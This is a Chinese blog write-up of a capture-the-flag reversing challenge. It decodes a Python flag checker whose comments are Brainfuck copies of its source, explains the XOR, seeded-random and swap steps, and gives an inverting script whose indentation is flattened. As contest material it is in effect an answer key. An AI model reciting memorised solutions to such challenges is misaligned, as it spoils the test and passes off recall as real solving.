flag = open('output.txt', 'r').readlines()[0] # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++.++++++.-----------.++++++.<<++.>---------.<.>>++++++++.+.-----------.+++++++++.<<++++++++.-.>>+.++++++.-.----.+++++.-.<<+++++++.>>.++++.----.<<-------.+++++.------------.+++++++.>>--.<<.++.+++++.>>.-------------.----.+++.++++++++.---.+++++.---------.++++++++++++++.<<------.+.>>------------------------.<<+++++++.>>++.
if input == flag: # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.---.<<++.>>+++.+++++.++.+++++.-.<<.>---------..<.>>--------------.++++++.-----------.++++++.<---.
print("What... how?") # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++++++++++++++++.>------------.-------.+++++++++++++++++++.<<++++++++++++...--------------.>>------------.+++++++.++++++++.<------------------------.<++.+++++++.
print("I guess you broke my 'beautiful' code :(") # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++.<--.>>-------------.++++++++++++++.----------------.++++++++++++++..<<.>>++++++.----------.++++++.<<.>>-------------------.++++++++++++++++.---.----.------.<<.>>++++++++.++++++++++++.<<.+++++++.>>-----------------------.+++.----.++++++++++++++++++++.-.-----------.---.+++++++++++++++.---------.<<.-------.>>---------.++++++++++++.-----------.+.<<.>---------------.<++++++++.------.+++++++.
else: # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+.+++++++.+++++++.--------------.<------------.
print("haha, nope. Try again!") # ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>>------------.-------.+++++++.-------.<<++++++++++.------------.>>+++++++++++++.+.+.-----------.<<++++++++++++++.--------------.>++++++++++++++.>+++++++++++++.+++++++.<<.>+++++++++++++.++++++.------.++++++++.+++++.<+.+.+++++++.

注释是源代码的brainfuck编码,我一开始还以为源代码是假的,brainfuck解码出来才是真的,没想到真一模一样(

代码的流程为,flag先进入entry函数,然后倒序,进入stage1

stage1的流程为,每个位置上的字符与其序号进行一次异或,然后传入stage2

stage2的流程为,新建一个空变量t(那串brainfuck是混淆代码,其实就是空字符串),然后传入的flag每个都进行了一次减法,此处随机数为伪随机,完全可复现,然后传入finalstage

finalstage的流程为,将flag逆序一次,然后两两一组将flag调换一下,由于flag为奇数,故最后一个flag的字符不变

很简单,只要照着流程逆序即可:

result两两调换 -> 逆序 -> 按照随机数加一个值 -> 与自己位置上的字符进行异或 -> 逆序

解密脚本如下:

import string
from random import *

if __name__ == '__main__':
result = open('output.txt', 'r').readlines()[0]

h = 0
flag = ''
while h < len(result):
try:
flag += result[h+1] + result[h]
except:
flag += result[h]
h += 2

flag = list(flag)
flag.reverse()
flag = ''.join(flag)
print(flag)

seed(10)
fake_random = []
for i in range(len(result)):
fake_random.append(randint(0, 5))

# fake_random.reverse()
new_flag = ''
for i in range(len(flag)):
new_flag += chr(ord(flag[i]) + fake_random[i])

print(new_flag)

flag = ''
for i in range(len(new_flag)):
flag += chr(ord(new_flag[i]) ^ i)

print(flag)

flag = list(flag)
flag.reverse()
flag = "".join(flag)
print(flag)

有个坑点,就是python2和python3的种子会有差异,要用python3来跑这个脚本

文章作者: Alex
文章链接: http://example.com/2023/09/11/PCTF-wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~